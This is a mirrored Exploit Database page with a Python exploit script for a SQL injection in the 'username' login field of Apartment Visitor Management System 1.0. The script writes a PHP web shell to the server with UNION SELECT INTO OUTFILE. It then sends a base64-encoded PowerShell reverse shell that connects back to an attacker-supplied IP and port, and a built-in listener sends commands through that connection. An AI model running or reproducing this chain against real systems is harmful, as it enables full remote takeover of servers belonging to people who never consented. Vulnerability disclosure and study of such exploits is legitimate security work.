Apartment Visitor Management System (AVMS) 1.0 – ‘username’ SQL Injection

• Exploit Database
• 16 阅读

• 作者： mari0x00
  日期： 2021-09-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50288/

• # Exploit Title: Apartment Visitor Management System (AVMS) 1.0 - 'username' SQL Injection
  # Date: 2021-08-13
  # Exploit Author: mari0x00
  # Vendor Homepage: https://phpgurukul.com/apartment-visitors-management-system-using-php-and-mysql/
  # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10395
  # Version: 1.0
  # Tested on: Windows 10 + XAMPP
  
  #!/usr/bin/python3
  
  import requests, socket, threading
  import base64, time, sys
  
  print(('''###########################################################''',"red"))
  print(('''###########AVMS SQLi to RCE by mari0x00############''',"red"))
  print(('''###########################################################''',"red"))
  print("")
  
  URL = input("Provide URL for AVMS (e.g. 'http://localhost/avms/'): ") or 'http://localhost/avms/'
  path = input("Provide path for shell upload (default 'C:\\xampp\\htdocs\\avms\\lol.php'): ") or 'C:\\xampp\\htdocs\\avms\\lol.php'
  path = path.replace("\\", "\\\\")
  rhost = input("Provide attacker IP: ") or "127.0.0.1"
  rport = input("Provide attacker listening port: ") or "1337"
  
  
  # sending webshell
  payload = {"username": "admin' union select '<?php system(base64_decode($_GET[\"cmd\"]));?>' into outfile '" + path + "' -- 'a", "password": "test", "login": ''}
  requests.post(URL, data=payload)
  
  
  def shell(rhost, rport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
  s.bind((rhost, int(rport)))
  except socket.error as msg:
  print("Bind failed. Error Code : " + str(msg[0]) + " Message " + msg[1])
  sys.exit()
  
  s.settimeout(5)
  s.listen(5)
  print('[+] Waiting for connection..')
  
  conn = False
  command=''
  
  while conn == False:
  try:
  conn, addr = s.accept()
  print("Got a connection from " + addr[0] + ":" + str(addr[1]))
  conn.send('\n'.encode())
  time.sleep(1)
  print(conn.recv(0x10000).decode())
  while(command != 'exit'):
  command=input('')
  conn.send((command + '\n').encode())
  time.sleep(.3)
  res = conn.recv(0x10000)
  print(res.decode())
  s.close()
  sys.exit("[!] Program exited")
  except socket.timeout:
  pass
  
  
  def start_shell(rhost, rport):
  revshell = "powershell -nop -NonI -W Hidden -Exec Bypass -c \"$client = New-Object System.Net.Sockets.TCPClient('" + rhost + "'," + rport + ");$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\""
  revshell = revshell.encode('ascii')
  revshell = base64.b64encode(revshell)
  revshell = revshell.decode('ascii')
  connection = requests.get(URL+"/lol.php?cmd=" + revshell)
  
  print("[+] Starting to listen on port " + rport)
  time.sleep(0.5)
  threading.Thread(target=shell, args=(rhost, rport)).start()
  time.sleep(2)
  print("[+] Sending the reverse shell payload")
  threading.Thread(target=start_shell, args=(rhost, rport)).start()